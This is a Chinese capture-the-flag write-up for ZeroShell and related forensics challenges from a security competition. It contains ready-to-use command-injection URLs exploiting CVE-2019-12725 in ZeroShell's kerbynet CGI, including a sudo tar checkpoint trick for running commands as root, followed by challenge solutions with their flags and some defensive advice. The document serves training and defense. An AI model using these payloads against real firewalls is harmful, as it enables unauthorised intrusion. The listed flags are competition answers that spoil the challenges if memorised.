第十八届信息安全大赛 && 第二届长城杯 - zeroshell1~5,WinFT_1~2,sc05_1
字数 1387 2025-08-22 12:22:30
ZeroShell 安全漏洞分析与利用教学文档
1. ZeroShell 漏洞概述
ZeroShell 防火墙存在远程命令执行漏洞 (CVE-2019-12725),攻击者可以通过构造特殊请求在目标系统上执行任意命令。
2. 漏洞利用方法
2.1 基本命令执行
漏洞利用点位于 /cgi-bin/kerbynet 接口,通过 x509type 参数注入命令:
http://[目标IP]/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='[注入命令]'
命令注入格式:
%27%0A[命令]%0A%27
(其中 %27 是单引号 ' 的URL编码,%0A 是换行符的URL编码)
2.2 实际利用示例
示例1:查找flag文件
http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Afind%20/%20-name%20%22flag%22%0A%27
示例2:读取flag文件内容
http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Acat%20/DB/_DB.001/flag%0A%27
3. 进阶利用技巧
3.1 网络信息收集
使用 netstat 命令查看网络连接:
http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Anetstat%20-n%20-p%0A%27
3.2 进程信息收集
利用 tar 命令的 --checkpoint-action 参数执行命令:
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='ps%20-ef'%0A'
3.3 进程文件分析
查找特定进程的可执行文件:
http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27ls%20-al%20/proc/10449/exe%27%0A%27
3.4 文件下载
读取文件内容:
http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec=%27cat%20/tmp/.nginx%27%0A%27
4. 相关CTF题目解析
4.1 zeroshell_1
- 通过分析数据包流量发现exec命令执行
- 追踪流并Base64解码获取flag
4.2 zeroshell_2
- 利用CVE-2019-12725漏洞
- 使用find命令查找flag文件
- 最终flag路径:
/DB/_DB.001/flag
4.3 zeroshell_3
- 使用
netstat -n -p查找外联地址 - 发现flag格式为IP地址:
flag{202.115.89.103}
4.4 zeroshell_4
- 通过Wireshark过滤:
http.request.uri matches "/cgi-bin/kerbynet" - 分析攻击者payload
- 发现隐藏进程文件:
/tmp/.nginx - flag格式:
flag{.nginx}
4.5 zeroshell_5
- 下载
/tmp/.nginx文件 - 使用
xxd转换文件内容 - 搜索之前发现的IP地址
202.115.89.103 - 最终flag:
flag{223344qweasdzxcF}
4.6 WinFT_1
- 使用
netstat -n查找外联地址 - 发现IP和端口:
192.168.116.130:443 - 检查hosts文件发现域名关联
- flag格式:
flag{miscsecure.com:192.168.116.130:443}
4.7 WinFT_2
- 直接给出的flag:
flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}
4.8 sc05_1
- 查找
firewall.xlsx文件 - 搜索IP地址
134.6.4.12 - 注意检查所有工作表进行对比
5. 防御建议
- 及时更新ZeroShell到已修复漏洞的版本
- 对输入参数进行严格过滤和验证
- 限制网络访问权限,只允许可信IP访问管理接口
- 监控系统日志,检测异常命令执行行为
- 使用Web应用防火墙(WAF)防护此类注入攻击
6. 总结
ZeroShell的CVE-2019-12725漏洞通过命令注入实现远程代码执行,危害严重。攻击者可以利用此漏洞进行信息收集、文件读取、反向连接等操作。防御此类漏洞需要多层次的防护措施,包括补丁更新、输入验证和持续监控。